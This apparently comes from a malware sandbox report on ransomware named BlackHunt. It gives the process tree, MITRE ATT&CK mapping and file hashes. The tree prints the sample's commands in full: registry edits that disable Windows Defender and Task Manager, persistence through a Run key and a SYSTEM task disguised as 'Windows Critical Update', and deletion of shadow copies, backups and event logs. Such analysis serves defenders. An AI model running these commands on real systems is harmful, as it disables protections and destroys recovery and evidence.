C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:4036
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4432 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:940
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4492 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:1476
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4640 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2992
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2864 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:1580
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1808 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2296
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4656 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:4068
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:1616
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:3548
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:1604
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:1728
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2076 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:3396
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:820
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:4664
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2976
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:4908
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:3172
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:3160
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:3628
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:4212
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:4644
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:4076
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2996
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:2812
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1428
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1072
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:4408
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2952
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:4200
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:4124
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:1848
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:2204
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2316
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:4988
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:1924
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:1452
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:984
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:4708
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2064
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1840
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:2152
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2884
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2852
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2632
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:3268
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:3380
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2896
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:4720
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe" /F2⤵PID:4896
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe" /F3⤵
- Creates scheduled task(s)
PID:3816
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:1660
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:5644
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2772
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:5820
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:3448
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:5784
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:4600
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:6016
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:2836
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:6024
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1140
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1036
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1664
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:5384
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:3288
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1728
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:4480
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:4288
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
- Suspicious use of WriteProcessMemory
PID:1616
-
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2088
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:5032
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:432
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:6084
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:5648
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:208
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:4068
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:4532
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵PID:3532
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:6036
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3964
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:1240
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1980
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:456
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1372
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:3780
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4116
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:3092
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4888
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:4244
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5240
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:3248
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:5280
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:5180
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:5532
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:5056
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:5476
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:5232
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:5640
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:5244
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:5612
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3308
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:852
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:4644
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:5296
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD57a3420e24edf826d414b55f9e3aa9857
SHA12191447b0b1184e75a2aea8d3a237738880bc2b6
SHA256235638b483d65f08f58b4a53e9a7d2358a6ecbe7ef19149287dfca21f48706cb
SHA5121735ff5b4c718ff4154240f24106b5bdb6b9c35bb1438112f7d76e910f3305a5d6d7740f2e90f13f1237db6b9b2e687b6ff1c74b1a5a3b5e4b49aac52adcb48f
-
Filesize
12KB
MD59408b5dc73667a8a3806525d0ad62124
SHA11b73434479bbf9c8ebd6856300b6947499b93f6e
SHA256293c3641493eb3867192e4b2a9f839d591f5ba1aa079fc19fb790fa8b9e90ad9
SHA512e23404ede588f9e4cb31866195142d8e925ea806f41e87a99fb112064e331400e2f975108c3b82429bbe1ce116e2e657ef0a903d3320b3e386d1e6e2fac9aecf
-
Filesize
684B
MD5b49461daf14ec4bdea62f127ee92d8ec
SHA1f5aa65ab74b9ea9adee9ead6a1defdd84620f30e
SHA256c7247e4f936f4ab38c6ee2aff4d0de01c54c0637753fb343217fa4b346181789
SHA512cca8a5018d1c830345d9f6f02c66c0dfa9614e5cbb2b24944a950a7ae0d47c07129558cf0fc859f6ff2c9e75d189deb8578ff31ef312c9bafae7a594d4e5a3f6